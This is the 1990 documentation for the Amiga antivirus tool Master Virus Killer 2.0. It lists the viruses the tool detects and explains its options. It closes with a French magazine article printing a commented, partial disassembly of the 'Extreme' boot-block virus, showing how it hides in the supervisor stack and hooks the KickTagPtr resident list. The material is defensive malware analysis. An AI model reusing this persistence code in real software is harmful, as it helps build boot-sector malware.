home *** CD-ROM | disk | FTP | other *** search
/ 17 Bit Software 1: Collection A / 17Bit_Collection_A.iso / files / 804.dms / in.adf / Master_Virus_Killer_V2.0 / MVK.DOC < prev    next >
Encoding:
Text File  |  1990-11-17  |  47.3 KB  |  984 lines

  1.                   D O C U M E N T A T I O N
  2.                   -------------------------                  
  3.    The   M A S T E R    V I R U S     K I L L E R   *    *
  4.                                                      *  *
  5.                                                       **  2.0
  6.  
  7. V1.0 ->1.4 Artwork and design:  David Delabassée , Gaëtan Prouvost , X.Juste
  8. V1.0 ->2.0                    + Programmation and (c): Xavier Leclercq
  9.  
  10. ->MVK2.0 Rights Reserved by Stefan Ossowski in GERMANY , AUSTRIA and
  11. SWITZERLAND and for this countries the program is NOT PublicDomain/share.  
  12. ->MVK2.0 Rights Reserved by BAB MICRO in FRANCE and for this country the
  13. program is NOT PublicDomain/share.
  14. ->For all others countries (BELGIUM , U.K. , USA ...) this program (ENGLISH
  15. VERSION ONLY) IS a Public Domain in shareware. If you discovered NEW viruses
  16. please contact me : 
  17.                           Leclercq Xavier
  18.              Vieux Chemin D'Ath N°12 7548 WARCHIN BELGIUM  
  19.  
  20. I am very interested by all the viruses which aren't taken in by the M.V.K.
  21. and therefore which should be added in the further version.Thanks for
  22. sending me these new viruses ! YOU MAKE UPDATE POSSIBLE !!
  23.  
  24. To obtain the list of key'significations:
  25.                       Hold down the 'HELP' key in the program.
  26.  
  27.  
  28.                              IMPORTANT: 
  29.             This documentation is on the disk and to print it :
  30.                     1> type sys:MVK.DOC to PRT:
  31.   
  32.         
  33. 1.A.List of the recognizables virus by M.V.K V2.0:
  34. --------------------------------------------------
  35. A.Virus Boots:
  36. --------------
  37. 1.  16 Bit Crew
  38. 2.  Abraham (Claas Abraham = MCA)
  39. 3.  Aids 
  40. 4.  AmigaFreak
  41. 5.  ASS Virus 
  42. 6.  Australien Parasite
  43. 7.  BamigaSectorOne
  44. 8.  BandVirusSlayer
  45. 9.  BlackFlash
  46. 10. BlackStar  [North StarI]
  47. 11. Butonic's = Bahan
  48. 12. ByteBandit I
  49. 13. ByteBandit II
  50. 14. ByteBanditNoHead  (ByteBandit Ver3 = ByteBandit+ = The mutation)
  51. 15. CCCP Virus (BOOT)
  52. 16. Clist
  53. 17. Coder
  54. 18. CrackRight by Diskdoctor 
  55. 19. Dag
  56. 20. Dasa I
  57. 21. Dasa II
  58. 22. Destructor
  59. 23. DigitalEmotion 
  60. 24. Diskguard
  61. 25. DiskHerpes = Phantastograph = Phantasmumble = Herpes =....
  62. 26. Extreme
  63. 27. F.A.S.T.
  64. 28. F.I.C.A.
  65. 29. FastLoadByteWarrior
  66. 30. Forpib
  67. 31. Gadaffi
  68. 32. Graffitti
  69. 33. Gremlins (The_True)
  70. 34. GXteam
  71. 35. Gyros
  72. 36. HCS 4220 I
  73. 37. HCS II
  74. 38. Hilly
  75. 39. Hoden
  76. 40. Ice
  77. 41. Incognito 
  78. 42. Jitr
  79. 43. Joshua I
  80. 44. Joshua II 
  81. 45. Julie = Tick
  82. 46. Kauki
  83. 47. LamerExterminator_I    [LamerStrap , LamerSpécial]
  84. 48. LamerExterminator_II   [Gremlins_The_False]
  85. 49. LamerExterminator_III
  86. 50. LamerExterminator_IV   [Uk_LamerStyle , SelwriterLamer]
  87. 51. LamerExterminator_V
  88. 52. LamerExterminator_VI   [Rene_Lamer6]
  89. 53. LSD
  90. 54. MegaMaster (= MGM virus)
  91. 55. MicroMaster&AEK
  92. 56. MicroSystem
  93. 57. Morbid_Angel
  94. 58. Newbeat (Alien Newbeat)
  95. 59. NoName
  96. 60. NorthStarII (starfire)
  97. 61. NorthStarIII 
  98. 62. Obelisk 1
  99. 63. Virus II by Obelisk (very # Obelisk1!)
  100. 64. OPapa
  101. 65. Paramount
  102. 66. PentagonCircle Virus's Slayer I
  103. 67. PentagonCircle Virus's Slayer II
  104. 68. PentagonCircle Virus's Slayer III
  105. 69. Revenge
  106. 70. RevengeLoader
  107. 71. The Ripper
  108. 72. SCA_1  (Use move.l to copy itself in memory)
  109. 73. SCA_2  (Use DoIo to copy itself in memory)
  110. 74. ScarFace
  111. 75. Sendarian
  112. 76. SinisterSyndicate
  113. 77. SuperBoy
  114. 78. Suntronic
  115. 79. SupplyTeam
  116. 80. System Z PVL V3.0
  117.     System Z PVL V4.0
  118.     System Z PVL V5.0
  119.     System Z PVL V5.4
  120.     System Z PVL V6.1
  121.     System Z PVL V6.3
  122.     System Z PVL V6.4
  123. 81. Switch-Off 
  124. 82. Target
  125. 83. Termigator
  126. 84. Telstar (false System Z PVL V6.0!!)
  127. 85. TimeBomb
  128. 86. Turk
  129. 87. UltraFox
  130. 88. Vkill_I
  131. 89. Vkill_II
  132. 90. Warhawk
  133.  
  134. B.File_Virus: Use the "File Virus?" icon.
  135. -------------
  136. 91.  BGS9_I
  137. 92.  BGS9_Mutant 
  138. 93.  Butonic
  139. 94.  CancerSmily
  140. 95.  CCCP Virus_Link
  141. 96.  Disaster Master
  142. 97.  IRQ_typeI
  143. 98.  IRQ_TypeII 
  144. 99.  Revenge of the Lamer Exterminator
  145. 100. TERRORISTS 
  146. 101. The_Traveling Jack I
  147. 102. The_Traveling Jack II 
  148. 103. The Time Bomber (Horse of troyan)
  149. 104. UltraKill
  150. 105. XENO 
  151.  
  152. [Last minute. A new generation of virus is born : Virus in Diskvalidator.
  153. The first of this new generation is "Return_Of_The_Lamer".For Next version...]
  154.  
  155. Remarks: 
  156. --------
  157. -Kauki , Sinistersyndicate, SupplyTeam , ByteWarriorLoader , SystemZ , ASS
  158.  are not realy Virus but PLAYS the same effects:
  159.  Screen Handles manipulations , Memories manipulations , Alert Display  
  160.  and the most important: scratch your computer for many ROMs version! 
  161.  In more SystemZ install himself on boot in place of a standard Boot... 
  162.  
  163. -The BGS9 is sometimes called the TTV1 Virus.if you want to understand
  164. the reason ,then look at the end of this document...
  165.  
  166. -Don't confuse the TERMIGATOR Virus with the Terminator protector !!
  167.  
  168. -The IRQ team,Termigator,dasa,Gx.Team,(c)rack right by diskdoctors,
  169. Alien Newbeat,microsystems Viruses don't work under V1.3 ROM !!
  170.  
  171. -All File_Virus (linkages) are now fighting by MVK2.0. Use "File_Virus" icon!
  172.  
  173.  
  174. 1.B.List of the specials bootblocks reconizable by M.V.K V2.0:
  175. --------------------------------------------------------------
  176. 1.  Virus detector Cleaner (V.D.C.) v1.3
  177. 2.  Virus detector Cleaner (V.D.C.) v1.6
  178. 3.  IRQ Protector (oldversion)
  179. 5.  Boot Girl 
  180. 6.  GX.TEAM NoFast
  181. 7.  Boot memory controller V1.2
  182. 8.  Boot memory controller V1.3
  183. 17. Mega Boot V1.30
  184. 18. X-Copy v2.0 Bootblock
  185. 19. Terminator Virus Protector
  186. 20. VirusKiller Prof. v2.0 Boot
  187. 21. M.i.A Boot
  188. 22. BootBlock COPY
  189. 23. BootLeg v2.1
  190. 24. CCS-Boot
  191. 25. CHIP-Boot
  192. 26. Bootblock OK...
  193. 27. Don't Boot....
  194. 28. Virus FREE BootBlock
  195. 29. Avirex Boot
  196. 30. North Star Virus Checker
  197. 31. Virus Detector Cleaner  (V.D.C.) V1.7
  198. 32. Tristar VirusKiller V1.1 Boot
  199. 33. Viruskiller Buster v1.4 Boot
  200. 34. SCA protector Boot 
  201. 35. DevWare_88 BootBlock Protector
  202. 36. Blizzard1.0 Protector
  203. 37. BootBlock Generation
  204. 38. IRQ Protector V2.0
  205. 39. Virus Detector Cleaner (V.D.C.) V2.0
  206. 40. Outlaw Checker
  207. 41. Razor1911 Checker
  208. 42. Devil_Blue-Sky Checker
  209. 43. RattleHead Boot
  210. 44. A-Max KickEnable
  211. 45. Noll's Checker
  212. 46. Interferon Checker
  213. 47. Mahomey&Kaktus Checker
  214.  
  215. The V.D.C and the IRQ Protector are installed by M.V.K . 
  216. the first one allows to suppress during the boot no matter which virus
  217. before going on in sequence.
  218. The second one allows to be protected from the IRQ (linkage virus
  219. I.E. which attacks the executables files),the boot lets believe the 
  220. virus that he's already present in the memory.
  221.  
  222. Further information about the use of specials keys:
  223. ---------------------------------------------------
  224.  
  225. 'F4' KEY:  New option MVKv2.0. Explanations: Virus may damage the boot  
  226. *********  of your hardrive destroying parameters'partitions. (Result=
  227. NOT A DOS DISK and you must reformat HD) But I can help you if you meet
  228. such situation. First USE C KEY to put on the buffer the Boot of your HD.
  229. In second SAVE the buffer on the disk strike 'F4' key and SAVE on the boot
  230. of a target disk the HD'Boot. (never insert a disk before becoz this action
  231. will be loaded the boot of this disk as the new buffer!!)  
  232.  
  233. 'F3' KEY: New option MVKv2.0. After some probems , with virus destroying your
  234. ********* HD_Boot, insert the disk with your Old_HD_Boot definition and
  235. strike the 'F3' key to put the buffer of this disk (old hdboot) as the new
  236. Boot of your Harddrive. This action will be restored your disk.
  237. USE f3-f4 keys with CAUTION BECOZ IF YOU INSTALLED A BAD BOOT YOUR
  238. HARDDRIVE WILL BE DESTROYED!!! ONLY for clever users!...
  239. ( The hdboot checksum is not situated on second long word as checksum
  240. disk and if you change this 4 bytes (if you install an other normal bootdisk) 
  241. the hd drive will never boot again! (in this case use format workbench
  242. command!!) All this remarks are true with A590_hd_drive and all others! 
  243.  
  244. 'F1' KEY:
  245. *********
  246. (Updates v1.7) save the bootblock to a file ($400 bytes of lenght).
  247. You must typing the name between insert the target disk!!
  248. 'F2' KEY:
  249. *********
  250. (updates 1.7) save the virus which was in memory at the start of the
  251. M.V.K. to a file. 
  252.  
  253. UPDATE V2.0: Now you can select a drive or HD device before strike
  254. ------------ on F1 or F2 key. If you choose Harddrive the message
  255. "Right mouse button to continue" takes the place of "insert a disk
  256. in any drive"...
  257.  
  258.  
  259.  
  260. 'T' KEY:
  261. ********
  262. Testing the memory takes time but rather simply to realize. But the
  263. elimination of a whatever virus has been painfully worked up:
  264. without taking account of the ROM version (1.2-> 1.3; 1.4?),how to 
  265. reinitialize strategics vectors like BeginIO,DoIo etc...? For that
  266. I has program a routine which is seeking in Rom for input-points which
  267. are used to find again good values...
  268.  
  269. Uptdates V1.6 about this 'T' KEY:
  270.  
  271. The version in hexadecimal of the "exec.library" isn't displayed any
  272. more,but the ASCII text,the equivalent of the ROM,which is more
  273. readable.In addition,I display also the marker of the $68 interrupt.
  274. When I tested the Abraham Virus,I has the unpleasant surprise to verify
  275. this virus was making the memory test which must normally suppress him
  276. of the memory... The 1.5 version didn't test the $68 interrupt. So,when
  277. I inserted a diskette in any drive,the $68 interrupt was waked up and
  278. the virus too!!!. I proved this striking the 'T' Key in the program :
  279. the vectors were again deviated!!
  280. Holding the 'D',I may know the exact address of the begin of
  281. the virus; so it allowed me to disassembler him quickly,because the
  282. virus in the memory is decripted.
  283.  
  284. Remarks V2.0: Now you can see more vectors. (I check more vectors too!) 
  285. ------------- You can observe the DOIO vectors are not a good ROM value
  286. when you check memory using "T" key. Simply becoz MVK using DoIo vector
  287. to check if the disk is present in any drive. Of course when you exit
  288. this DoIo vector will be restored.
  289.  
  290. 'D' KEY:
  291. ********
  292. To realize a dump of the memory,where the virus should be in theory,
  293. which is present during the test memory,I swept this memory looking
  294. for the long word "DOS",0 then with the deviated vectors I can find in 
  295. the most cases the good address of the begin of the virus.In fact if a
  296. virus want to be reproduced ob the 'Bootable' diskettes,he must entirely
  297. recopy his boot in memory.All the 'bootables' diskettes begin thus by
  298. the long word (4bytes) Dos,0. And after a check up of the deviated vectors
  299. ,I verify these vectors are near this address and if the boot has the mark
  300. of this "disk image" of a virus,this is declared present in the memory.
  301. Obviously sometimes,the mark of a virus is present in the memory,but no
  302. vectors is deviated,I.E. the vector isn't active any more.For this
  303. reason the double test 'deviated vectors' and 'image disk' are necessary.
  304.  
  305. This test doesn't take account (like the test memory) of the "protectors"
  306. virus which are recognized by the M.V.K. ,in fact these aren't viruses.
  307. (The series of PLV protectors are recognized by the MVK inserting a disk
  308. in any drive ,but aren't recognized as they are with the test memory which
  309. will report this undoubtedly a dangerous Bootblock or one in question...).
  310.  
  311. Updates V1.8 about 'D' KEY: Hexadecimal dump is now available.
  312.  
  313. Updates V2.0: Now I realised the test scaning the memory for File_Virus.
  314. ------------- [Search HUNK_LOAD $000003e9] If boot virus scaning "DOS",0 
  315.  
  316.  
  317. 'C' KEY:
  318. ********
  319. If you strike this key a window will be display and you can push again
  320. F1 or F2 or F3 key. This is to control Harddrive device. Example: 
  321. xt.device to control A590 xt HD.
  322. After push the key MVK loads the Boot of your Harddrive and displays it.
  323. Then you can see if you have damages. (I think for experts only!)
  324.  
  325. 1.C A few words about how to use the M.V.K.:
  326. ********************************************
  327.  
  328. First a line about "FF0:" drive. USE it with assign method for external
  329. drive or with the TRACKsimulator (on an Amigalibdisk) 1>Assign FF0: QDH0:  
  330.  
  331. !!->Update V2.0 : at the start of the MVK if you click on the left mouse
  332. button during program loading you pass trought the memory test. Then if
  333. you have some problems with the memory test (I think A3000) or to run program
  334. quickly push on the left mouse button!
  335. If you have discovered some news viruses or if you have some incompatibility
  336. please use the VECTORS program (on this disk) and send me the results:
  337. 1>Vectors >prt:
  338. or
  339. 1>Vectors >df1:Fichier_for_XL
  340.  
  341. -The duplication icon: Simply use this icon to copy any boot from a drive
  342. dfx: to an other drive dfy:  The checksum is in more automatiquely 
  343. recalculated.
  344.  
  345. -Select one of the drives by clicking on them.The drives which are not
  346. present during the start,aren't selectable.The choice of a drive occurs
  347. only when you have decided to install a special boot or "to kill" a virus
  348. that is one of these drives.
  349. !!Updates V2.0: The choise of a drive occurs now for many actions.
  350. When you click on "File_Virus?" icon or strike F1-F2 key select drive before! 
  351. Update V2.0: When you insert a disk in any drive the drive icon is selected
  352. automatiquely.
  353.  
  354. -The 'Display Boot' option allows to scan the boot by inserting a diskette.
  355. So for a SCA virus ,the text SCA is right in 'bright'.This allows to 
  356. identify a boot would be 'bootblock unknow'.When this message is displayed
  357. ,the MVK can't identify the boot.Either it's a new virus,either it's a game
  358. or a special boot.Whatever,I advise in that case not to try to initialize
  359. the boot without doing a copy of him previously!
  360. In fact if the boot is used to start a game ,he may not start any more...
  361. You could cause as damages as a virus.Thus pay attention!!
  362.  
  363. -The 'IRQ protector' option allows to install a special boot which will let
  364. believe the 'linkage' virus IRQ TEAM (he attacks the executables files of
  365. the startup-sequence) he is already present in the memory.So he won't be
  366. installed.
  367.  
  368. -The 'Install V.D.C' option (Virus Detector Cleaner) will install a boot 
  369. which will detect a virus or another resident program. In that case,
  370. the screen will become red and a 'LONG RESET' will suppress underisable
  371. out of the memory.A blue screen means nothing has been detected. You can
  372. remark the VDC instruction that is on this diskette is more efficient and
  373. is the best instruction for hard disk users who will may insert this one
  374. in the startup-sequence . This instruction make useless the test memory 
  375. that the M.V.K. perform at the start, because at this time I don't know
  376. any virus which can pass it. it's not the case of the boot,the termigator 
  377. virus only pass it. I'ts not the case of the boot ,the termigator virus
  378. only running under the roms v1.2 ,uses interrupts which puts him off the
  379. memory when during a boot ,and thus the VDC (in boot) doesn't find
  380. something and let pass him.(But the New version of VDC detected that now)
  381. These instructions aren't used any more after the boot and thus the VDC 
  382. instruction will may find the intruder and will perform the reset which
  383. will supress him from the memory.
  384. Thus it's useless using the VDC boot or the VDC instruction if you
  385. want to detect a virus at the start of the M.V.K. Because if you
  386. suppress the viruses out of the memory before starting the M.V.K.,
  387. this one will only affirm there is no virus in memory.Now this test
  388. memory is unique in  his kind (from V1.5) and allows the detection of
  389. all viruses at the start.This test takes pratically the third of the
  390. program and it would be a pity to not let a chance to the M.V.K. for
  391. detecting and suppressing them.(no matter which version of the roms)
  392. Another explanation about this VDC instruction: if this one is inserted
  393. in your startup-sequence as first instruction, it may be she is attacked
  394. by a linkage virus. (It will never happen if you run always your 
  395. applications from the hard disk !)
  396. This one (BGS9,IRQ TEAM,TERRORISTS,...) will replace the instruction by
  397. his own code and will try to run again the instruction letting you believe
  398. nothing has been modified. Here you must notice the virus is already
  399. installed before running the VDC instruction.now the VDC detects all
  400. these viruses in memory and will perform a reset to suppress him.
  401. It will give an UNENDING ring!!
  402. In that case you decide to check the boot but there is nothing. (in the
  403. other case (virus) you have to initialize him ('kill virus' option)).
  404. At all in the case of an hard disk ,it's already impossible.
  405. Thus at this time ,you must realize there is only a linkage virus in 
  406. question !! You have to recopy the startup-sequence which is infected
  407. by the intial startup-sequence and to recopy the VDC instruction in
  408. place of the old instruction that is now infected.if you some doubts
  409. about the nature of the virus,then you run the M.V.K. : he will confirm
  410. it you. In that case, don't take any caution to supress him out of
  411. memory,the M.V.K. will suppress him after confirmation of his identification!
  412. (As I said it  if you suppress the virus before running the M.V.K. ,he
  413. won't be able to work correctly because he won't be able to detect him.
  414. obviously, of course !)
  415.  
  416. Updates of the VDC (ver1.6): The VDC instruction has been revised and
  417. corrected.Now the test of the $68 interrupt is realized ,as consequence
  418. it offers a insuperable barrier opposite some viruses using this 
  419. interrupt : termigator,GX.Team and Class Abraham.It report also if
  420. you want to save your RAD: ,press only the left button of the mouse.
  421. (the testes aren't realized). Look out ,the screen becomes red but the
  422. long reset isn't effected! This option may also serve 'the virus shooter'
  423. which can let live the virus only to study him,knowing well he can at
  424. any time suppress him out of the memory using the VDC instruction. All
  425. this is valid for the boot and the VDC instruction.
  426.  
  427. updates of the VDC (ver1.7) : Low memory tests will be improved (testing
  428. from $8 to $3c and from $40 to $bc).
  429.  
  430. Updates ver2.0: Some virus use new vectors to stay in memory and cause
  431. many damages. Example: AvailMem() is deviated to keep the same amount of
  432. free memory. The virus use AvailMem() to make illusion becoz user think
  433. at this moment: no virus in memory the amount of my free memory is always
  434. the same as normal situation...
  435. MVK test now this vectors and VDC2.0 too. [AvailMem,KicksumData, and much
  436. more]. Remarks: Many of virus uses now new exec functions: 
  437.  -630(a6) ->QuickMemCopy ; -624(a6) ->CopyMem etc.... (with move.l $4.w,a6)
  438.   
  439. -The 'Kill Virus' option write a classic boot on the target diskette of
  440. the drive previously selected.(Throwing a cry to symbolize the death of
  441. the virus !) you can use this option without hesitations in the case of
  442. a virus recognizable by the M.V.K. ,but in the case of a 'Unknwon boot'
  443. , as explained above,you must use him with caution!
  444.  
  445. -to escape from the program,just clicking on the image which looks
  446. like an interrupter.
  447. Update V1.7 to exit: A requester is displayed at the exit of M.V.K.
  448. Click on "OK" to preserved the RAD:. WARNING: NEVER click "OK" if a
  449. virus has been detected at the start of the M.V.K.!!! Because the virus
  450. could come out again at the next reset). In this case OR if you don't
  451. have RAD: YOU MUST CLICK on "CANCEL" !!!!!!
  452.  
  453. 1.D During the course of the operations:
  454. ****************************************
  455. If a virus is detected during the insertion of a diskette,a siren is
  456. running and a possible meter of reproduction is displayed (if he exists
  457. for the virus) with an image speaking about a virus. You only have to kill
  458. the virus or to install a special boot in place of the virus.(you can
  459. scan your victim with the "display boot" option) Any action will stop the
  460. siren.
  461. If a special Boot is recognized by the M.V.K. ,he will display the kind
  462. of boot. An image corresponding to a raised thumb for the sign "OK", is
  463. displayed. In the case when a virus or a special BootBlock isn't a part
  464. of these the M.V.K. recognizes, an "ATTENTION' panel is displayed and
  465. the Bootblock Unknown message is showed. There is a little change this
  466. boot is one of these dangerous viruses.(other the viruses reconized by
  467. the M.V.K.). But if you have some doubts,you have to proceed as follows:
  468.  
  469. IMPORTANT:
  470. **********
  471. Fisrt you can always try to read a possible message which might be
  472. displayed in 'bright' (i.e. in ascII) by scanning the boot with the
  473. "display boot' option (for example: "Virus by byte bandit...")
  474. But the "modern" virus are cripted for the most of them,i.e. they don't
  475. allow a direct reading of this kind of message...
  476. No panic: the M.V.K. has more than one trick up one's sleeve !.
  477. The second reflex is to run the uncertain diskette (by booting) then
  478. to execute a reset a finally to run the M.V.K. He will effect himself
  479. a test memory at the start.
  480. If there is a new virus in question,the "OK no virus in memory" thumb
  481. won't be displayed. You will read the the "Unknown virus ,virus protectors
  482. or prog. resident in memory" message. Thus, the strategic, and necessary
  483. markers, for the viruses aren't equal to zero!!
  484. It's not all! The third thing to do is to run the M.V.K. (the virus
  485. is suppress automaticaly) and then to strike the 'D' key.it will allow
  486. to give a confirmation of your diagnosis. With the help of a complex
  487. algorithm, the M.V.K. is seeking the place where the virus (or the virus
  488. protector) was located and will display this place in ASCII accompanied
  489. by his address in memory !!
  490. Generally at this level,the virus is decripted in memory and the messages
  491. are displayed in 'bright'.
  492. The last thing to do is obiously to not forget sending me this new
  493. virus that I could insert in a new version of the Master Virus Killer !!!
  494.  
  495. 2.A Have you said Virus ?
  496. *************************
  497. An attempt to define the word virus should be:
  498. Virus: little program in Assember which recurs by the more discreet
  499. way without advertising the user or deceiving him on his right kind.
  500. (The case of the Pentagon Circle Virus's Slayer wrong protector virus
  501. but right virus !!)
  502. There are also the linkage viruses ,they are like the viruses on the
  503. PC computers which infiltrate the executable files.On Amiga ,there is
  504. the IRQ Virus but isn't dangerous.He 'runs ou' with the Roms V1.3 !!
  505. I suggest a mean in the M.V.K. to be protected from him ,the special Boot
  506. will make the virus inactive even if he is on an executable file.The 
  507. principle is very simple: before becoming active the IRQ team virus
  508. will verify if the OldOpenLibrary vector is in ROM,else he will
  509. deduct he isn't in memory and conversely.You have just to deviate
  510. this vector to our profir and there you have it !
  511. (New Linkage virus : see list from 56 to 61!)
  512.  
  513. 2.B The meter of reproductions:
  514. *******************************
  515. The longest work (and the hardest) during the elaboration of the program
  516. was to disassembler all viruses the M.V.K. could detect.It allows to
  517. give you (for the viruses which have one) the meter of reproduction.
  518. It's meter which indicates you know many times the virus has already
  519. infected others diskettes ! (example the (c)Rack Right by Diskdoctors :
  520. 678) The result is sometimes amazing !
  521.  
  522. 3. Are the viruses dangerous ?
  523. ******************************
  524. By this word I think to the irremediable damage the viruses can cause
  525. sometimes.It may be a black screen and jammed system during the calculation
  526. of a page with the SCUPLT 4D.(Gxteam,by byte bandit viruses...)Or the
  527. pure and simple formating of a sector of your diskette or the occupation
  528. of a sector (Lamer Exterminator). Or stupidly the virus will install
  529. himself on your diskette giving him unusable (the most of games use boot
  530. to start).In conclusion of this,the viruses are well dangerous...
  531.  
  532. 4.How to be protected from this viruses ?
  533. *****************************************
  534. You have just to use the M.V.K each time you are thinking you have some
  535. doubts about a Virginity of bootblock of your diskette,and to protect
  536. your diskettes against writing !! Don't beleive the idiots who are
  537. pretending the contrary ! The single mean to write on a protected diskette
  538. in writing could be deprotect him !!
  539. Even the fact of changing the state of WPRT signal of the drive (14th pin
  540. of DB-23 to the ground or to the 15 volts) will change nothing.The Amiga
  541. will think (it happens him?!) the diskette is deprotected,and will allow
  542. the writing on the disk but Nothing will be written !!!!
  543. So the HARDWARE of the drive has the absolute priority even on the logic
  544. Amiga signals.
  545.  
  546. The French text follows is extracted from the French paper Mag
  547. A-NEWS.This is some of my articles I write for this MAG.
  548. (Of course the best mag in the world...)
  549. [ A-NEWS:  ZA Blis,24500 Eymet, FRANCE ]   
  550.  
  551.  \
  552.    A -About a Virus boot: 
  553.  /
  554.  
  555. L'Extreme Virus:
  556. ----------------
  557. Comme on me réclame à corps et à cris un désassemblage (je me fais plaisir
  558. également) en voici un qui provient d'un nouveau microbe : L'Extreme.Le code
  559. de celui-ci n'est pas trop dur ni trop facile à comprendre et surtout assez 
  560. court.($2e7). C'est en désassemblant les virus que j'ai pour ma part
  561. réalisé mes premiers pas en assembleur et je vous invite à prendre ce chemin
  562. si vous vous estimez débutant en la matière...
  563. Quelques explications suplémentaires sur le code:
  564. 1> L'Extreme est un des seuls Virus à utiliser la pile pour toutes une
  565. série d'opérations.En effet la manipulation de la pile est très courte en
  566. temps machine et permet des gains d'octets qui finissent par devenir 
  567. appréciables.(D'ailleurs c'est dans la pile superviseur que le Virus se
  568. niche).Pour par exemple réaliser un saut inconditionnel (JMP) il pratique
  569. de la manière suivante:
  570. pea  AdresseDuSaut(pc)   ;empile l'adresse
  571. rts                      ;au rts l'Amiga prendra l'adresse de retour
  572. sur la pile l'adresse qui est précisemment : AdresseDuSaut...
  573. En fait et pour bien comprendre cela équivaut à l'instruction assembleur:
  574. jmp AdresseDuSaut
  575. et l'instruction pea est similaire à:
  576. lea AdresseDuSaut(pc),a0
  577. move.l a0,-(a7)    ;on empile
  578. (Le S(Atchoum)T par exemple utilise énormément l'instruction TRAP et PEA
  579. mais su Amiga ce n'est pas très courant ) 
  580.  
  581. 2> Une petite explication au niveau de l'instruction SetFunction. (utilisée
  582.  également par le virus link IRQ Team pour modifier OldOpenLibrary() ) 
  583.  Elle sert donc à modifier le vecteur qui réalise le branchement d'une
  584.  fonction de library.Ici c'est DoIo voici comment on le détermine:
  585.  $ffff-$fe38 =$01c7 +1 (car négatif complément à 1) = -454
  586.  -2 = -456  (-2 car c'est un Word = 2 Bytes occupé par le code de
  587.  l'instruction JMP ,la table étant constituée de code JMP et de vecteurs)
  588.  L'instruction SetFunction ,et ceci est très important, réalise un CheckSum
  589.  de la library.(c'est à dire une somme dse ctrl) sans quoi l'ordinateur
  590.  risque de "planter".Setfunction réalise en effet ceci:
  591.  move.l $4.w,a6
  592.  move.l NouveauVecteurDoIo,-454(a6) 
  593.  mais en plus éffectue la somme de Ctrl...
  594.  
  595. 3> L'auteur du Virus laisse son numéro de tél.!! A supposer bien entendu
  596.     que c'est le sien il court là un grand danger ,je vous rappelle
  597.  en effet que c'est dans une situation identique que se trouve l'auteur
  598.  présumé d'un virus assez connu le DASA (Byte Warrior) jugé en Allemagne
  599.  pour la conception de ce microbe...
  600.  
  601. 050000:444f dc.w    $444f          ;"Dos",0
  602. 050002:5300 subq.b  #1,D0          ;CheckSum  dc.l $f602ff02
  603. 050004:f602 linef   $f602
  604. 050006:ff0c linef   $ff0c
  605. 050008:0000 ori.b   #$370,D0       ;root dc.l $370 = 880 =block racine
  606. 05000c:4eba jsr     36(PC)(=$50032)  ;Init Virus
  607. 050010:4eae jsr     -96(A6)          ;Findresident
  608. 050014:4a80 tst.l   D0               ;erreur?
  609. 050016:670a beq.s   $050022          ;Oui
  610. 050018:2040 move.l  D0,A0            ;pointeur
  611. 05001a:2068 move.l  22(A0),A0        ;sur la suite en a0
  612. 05001e:7000 moveq   #$00,D0          ;pas d'erreur
  613. 050020:4e75 rts                      ;retour
  614. 050022:70ff moveq   #$ff,D0          ;erreur flag fixé à 255
  615. 050024:60fa bra.s   $050020          ;fin (ne boot pas)
  616. 050026:646f bcc.s   $050097          ;\
  617. 050028:732e dc.w    $732e            ; \
  618. 05002a:6c69 bge.s   $050095          ;  \
  619. 05002c:6272 bhi.s   $0500a0          ;  dc.b  "dos.library",0
  620. 05002e:6172 bsr.s   $0500a2          ;  /
  621. 050030:7900 dc.w    $7900            ; /
  622. 050032:48e7 movem.l A6-A0/D7-D0,-(A7);sauve registres sur la pile
  623. 050036:4eae jsr     -120(A6)         ;interdiction des interruptions
  624. 05003a:41fa lea     -60(PC)(=$50000),A0 ;début du code du Virus
  625. 05003e:226e move.l  58(A6),A1        ;Systklower limite inférieure 
  626. 050042:d2fc adda.w  #$1000,A1        ;de la pile superviseur +$1000
  627. 050046:4869 pea     86(A1)           ;pointe sur $50056
  628. 05004a:303c move.w  #$02e7,D0        ;taille du Virus
  629. 05004e:12d8 move.b  (A0)+,(A1)+      ;copie Virus dans la pile superviseur
  630. 050050:51c8 dbf     D0,$05004e       ;tant qu'il y a des bytes à copier
  631. 050054:4e75 rts                      ;retour donc saut en $50056
  632. 050056:41fa lea     948(PC)(=$5040c),A0 ;compteur_1 
  633. 05005a:30bc move.w  #$0003,(A0)      ;compteur_1 = 3
  634. 05005e:610a bsr.s   $05006a          ;initialisation de la table résidente
  635. 050060:4cdf movem.l (A7)+,A6-A0/D7-D0   ;rend valeurs registres initiaux
  636. 050064:43fa lea     -64(PC)(=$50026),A1 ;"dos.library" en a1 pour 
  637. 050068:4e75 rts                      ;la fonction findresident et retour
  638. 05006a:202e move.l  550(A6),D0       ;pointeur KickTagPtr Vide ?
  639. 05006e:6704 beq.s   $050074          ;oui on s'installe pour la 1er fois
  640. 050070:08c0 bset    #31,D0           ;non alors on "cohabite" en fixant le
  641. 050074:41fa lea     920(PC)(=$5040e),A0 ;bit 31 puis on fait pointer
  642. 050078:43e8 lea     8(A0),A1         ;TailPred sur ln_Head
  643. 05007c:2089 move.l  A1,(A0)
  644. 05007e:2140 move.l  D0,4(A0)         ;Sauve Nouvelle valeur pour le noeud
  645. 050082:2d48 move.l  A0,550(A6)  ;Nouvelle adresse pour table résidente
  646. 050086:32bc move.w  #$4afc,(A1) ;MatchWord (reconnaissance de la str.)
  647. 05008a:2349 move.l  A1,2(A1)    ;MatchTag  (pointeur sur sa propre table)
  648. 05008e:487a pea     928(PC)(=$50430) ;sur pile  puis dépile (a7)+
  649. 050092:235f move.l  (A7)+,6(A1) ;endskip = pointeur sur fin de la table
  650. 050096:237c move.l  #$012109ff,10(A1);Flags=1;version=$21;type=9 (?)
  651. 05009e:487a pea     463(PC)(=$5026f) ;priorité=$ff
  652. 0500a2:235f move.l  (A7)+,14(A1) ;met le nom "extreme virus..." en rt_name
  653. 0500a6:42a9 clr.l   18(A1) ;pas d'informations supplémentaires (clr)
  654. 0500aa:487a pea     14(PC)(=$500ba)  ;place sur la pile puis dépile (a7)+
  655. 0500ae:235f move.l  (A7)+,22(A1);pour placer en rt_int  l'adresse à
  656. ;laquelle l'Amiga sautera à chaque reset
  657. 0500b2:4eae jsr     -612(A6)    ;calcule KickCheckSum()
  658. 0500b6:2d40 move.l  D0,554(A6)  ;et sauve résultat 
  659. 0500ba:4eae jsr     -120(A6)    ;interdit interruptions (déjà fait!)
  660. 0500be:2f0a move.l  A2,-(A7)    ;sauve registre de données A2 sur pile
  661. 0500c0:45fa lea     830(PC)(=$50400),A2  ;nouvelle valeur
  662. 0500c4:206e move.l  144(A6),A0  ;Srtucture intvector raster en a0
